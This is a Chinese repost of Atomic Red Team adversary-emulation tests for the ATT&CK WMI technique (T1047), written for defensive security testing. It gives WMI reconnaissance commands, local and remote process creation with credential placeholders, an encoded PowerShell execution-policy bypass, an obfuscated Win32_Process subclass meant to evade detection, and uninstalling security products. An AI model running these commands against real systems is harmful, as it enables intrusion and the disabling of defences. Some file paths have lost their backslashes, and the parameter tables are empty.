本文章为Atomic Red Team系列文章,本篇文章内容为T1047-WMI(Windows管理规范)。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
T1047-Windows管理规范
来自ATT&CK的描述
攻击者可能会滥用Windows管理规范(WMI)来执行恶意命令和有效载荷。WMI是为程序员设计的,是Windows系统上管理数据和操作的基础架构(引用:WMI 1 - 3)。WMI是一项管理功能,它提供了一个统一的环境来访问Windows系统组件。
WMI服务支持本地和远程访问,不过远程访问是通过诸如分布式组件对象模型(在新标签页中打开)和Windows远程管理(在新标签页中打开)等远程服务来实现的(引用:WMI 1 - 3)。通过DCOM进行的远程WMI使用端口135进行操作,而通过WinRM进行的WMI在使用HTTP时使用端口5985,使用HTTPS时使用端口5986(引用:WMI 1 - 3)(引用:Mandiant WMI)。
攻击者可以使用WMI与本地和远程系统进行交互,并将其作为执行各种行为的一种手段,例如为了发现目的收集信息,以及执行命令和有效载荷(引用:Mandiant WMI)。例如,攻击者可能会滥用wmic.exe
,使用命令wmic.exe Shadowcopy Delete
来删除卷影副本(即阻止系统恢复,在新标签页中打开)(引用:WMI 6)。
注意:自2024年1月起,wmic.exe
已被弃用,在Windows 11及更高版本上,WMIC功能 “默认禁用”。WMIC将在后续的Windows版本中被移除,并将由PowerShell(在新标签页中打开)取代,成为主要的WMI接口(引用:WMI 7,8)。除了PowerShell和诸如wbemtool.exe
等工具外,COM API也可用于通过C++、.NET、VBScript等以编程方式与WMI进行交互(引用:WMI 7,8)。
原子测试
-
原子测试 #1 - WMI侦察用户信息 -
原子测试 #2 - WMI侦察进程信息 -
原子测试 #3 - WMI侦察软件信息 -
原子测试 #4 - WMI侦察列出远程服务 -
原子测试 #5 - WMI执行本地进程 -
原子测试 #6 - WMI执行远程进程 -
原子测试 #7 - 使用WMI查询和编码命令创建进程 -
原子测试 #8 - 使用混淆的Win32_Process创建进程 -
原子测试 #9 - WMI执行rundll32 -
原子测试 #10 - 使用WMIC卸载应用程序
01
—
WMI侦察用户信息
原子测试 #1 - WMI侦察用户信息
攻击者可能会使用WMI列出所有本地用户账户。测试完成后,命令行上应该会显示本地用户账户信息。
支持的平台:Windows
自动生成的GUID:c107778c - dcf5 - 47c5 - af2e - 1d058a3df3ea
攻击命令:使用command_prompt
运行!
wmic useraccount get /ALL /format:csv
02
—
WMI侦察进程信息
攻击者可能会使用WMI列出受感染主机上正在运行的进程。测试完成后,命令行上应该会列出正在运行的进程。
支持的平台:Windows
自动生成的GUID:5750aa16 - 0e59 - 4410 - 8b9a - 8a47ca2788e2
攻击命令:使用command_prompt
运行!
wmic process get caption,executablepath,commandline /format:csv
03
—
WMI侦察软件信息
攻击者可能会使用WMI列出已安装软件的热修复程序和补丁。测试完成后,应该会有一个已安装补丁及其安装时间的列表。
支持的平台:Windows
自动生成的GUID:718aebaa - d0e0 - 471a - 8241 - c5afa69c7414
攻击命令:使用command_prompt
运行!
wmic qfe get description,installedOn /format:csv
04
—
WMI侦察列出远程服务
攻击者可能会使用WMI检查某个远程服务是否在远程设备上运行。测试完成后,如果服务存在,其信息将显示在屏幕上。如果查询的服务未运行,常见的反馈消息是 “No instance(s) Available”(无可用实例)。如果提供的远程主机无法访问,常见的错误消息是 “Node - (提供的IP或默认值) ERROR Description = The RPC server is unavailable”(节点 - (提供的IP或默认值)错误描述 = RPC服务器不可用)。
支持的平台:Windows
自动生成的GUID:0fd48ef7 - d890 - 4e93 - a533 - f7dedd5191d3
输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
攻击命令:使用command_prompt
运行!
wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")
05
—
WMI执行本地程序
此测试使用wmic.exe
在本地主机上执行一个进程。测试完成后,将在本地启动一个新进程。如果输入保持默认值,将启动一个记事本应用程序。
支持的平台:Windows
自动生成的GUID:b3bdfc91 - b33e - 4c6d - a5c8 - d64bee0276b3
输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
攻击命令:使用command_prompt
运行!
wmic process call create #{process_to_execute}
清理命令:
wmic process where name='#{process_to_execute}' delete >nul 2>&1
06
—
WMI执行远程进程
此测试使用wmic.exe
在远程主机上执行一个进程。使用node
参数指定一个有效的远程IP值。要进行清理,请提供与运行测试时相同的node
输入。如果默认或提供的IP无法访问,常见的错误消息是 “Node - (提供的IP或默认值) ERROR Description = The RPC server is unavailable”(节点 - (提供的IP或默认值)错误描述 = RPC服务器不可用)。 支持的平台:Windows
自动生成的GUID:9c8ef159 - c666 - 472f - 9874 - 90c8d60d136b
输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
攻击命令:使用command_prompt
运行!
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}
清理命令:
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1
07
—
使用WMI查询和编码命令创建进程
Solarigate持久化是通过各种技术部署的后门实现的,包括使用带有EncodedCommand
的PowerShell:Powershell -nop -exec bypass -EncodedCommand
,其中EncodedCommand
一旦解码,将类似于:Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:windowsidmucommonypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION
。此原子测试中的EncodedCommand
如下:Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe
。执行此测试后,你应该会看到notepad.exe
正在运行。来自微软的Solarigate分析
支持的平台:Windows
自动生成的GUID:7db7a7f9 - 9531 - 4840 - 9b30 - 46220135441c
攻击命令:使用command_prompt
运行!
powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA
08
—
使用混淆的Win32_Process创建进程
此测试试图通过创建一个继承自Win32_Process
的新类来掩盖进程创建行为。对Win32_Process::Create
等可疑方法的间接调用可能会破坏检测逻辑。[Cybereason博客文章《无需Win32_Process》(在新标签页中打开)]
支持的平台:Windows
自动生成的GUID:10447c83 - fc38 - 462a - a936 - 5102363b1c43
输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
攻击命令:使用powershell
运行!需要提升权限(例如root或管理员权限)
$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
清理命令:
$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))
try { $CleanupClass.Delete() } catch {}
09
—
WMI执行rundll32
此测试使用wmic.exe
通过rundll32
执行一个DLL函数。使用node
参数指定一个有效的远程IP值。
支持的平台:Windows
自动生成的GUID:00738d2a - 4651 - 4d76 - adf2 - c43a41dfb243
输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
攻击命令:使用command_prompt
运行!
wmic /node:#{node} process call create "rundll32.exe "#{dll_to_execute}" #{function_to_execute}"
清理命令:
taskkill /f /im calculator.exe
-
依赖项:使用
powershell
运行! -
描述:必须在指定位置(#{dll_to_execute})的磁盘上存在要执行函数的DLL。
-
检查先决条件命令:
if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1}
- 获取先决条件命令:
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"
10
—
使用WMIC卸载应用程序
模拟使用WMIC卸载应用程序。此方法仅在产品是使用msi文件安装时才有效。已发现高级持续威胁(APT)使用此方法来卸载安全产品。 支持的平台:Windows
自动生成的GUID:c510d25b - 1667 - 467d - 8331 - a56d3e9bc4ff
输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
攻击命令:使用command_prompt
运行!需要提升权限(例如root或管理员权限)
wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall
清理命令:
msiexec /i "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi" /qn /norestart
-
依赖项:使用
powershell
运行! -
描述:必须安装TightVNC。
-
检查先决条件命令:
if ((Test-Path "C:Program FilesTightVNCtvnviewer.exe")-Or (Test-Path "C:Program Files (x86)TightVNCtvnviewer.exe")) {exit 0} else {exit 1}
- 获取先决条件命令:
Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi"
start-sleep -s 10
msiexec /i "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi" /qn /norestart
start-sleep -s 15
原文始发于微信公众号(网空安全手札):T1047-Windows管理规范(WMI)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论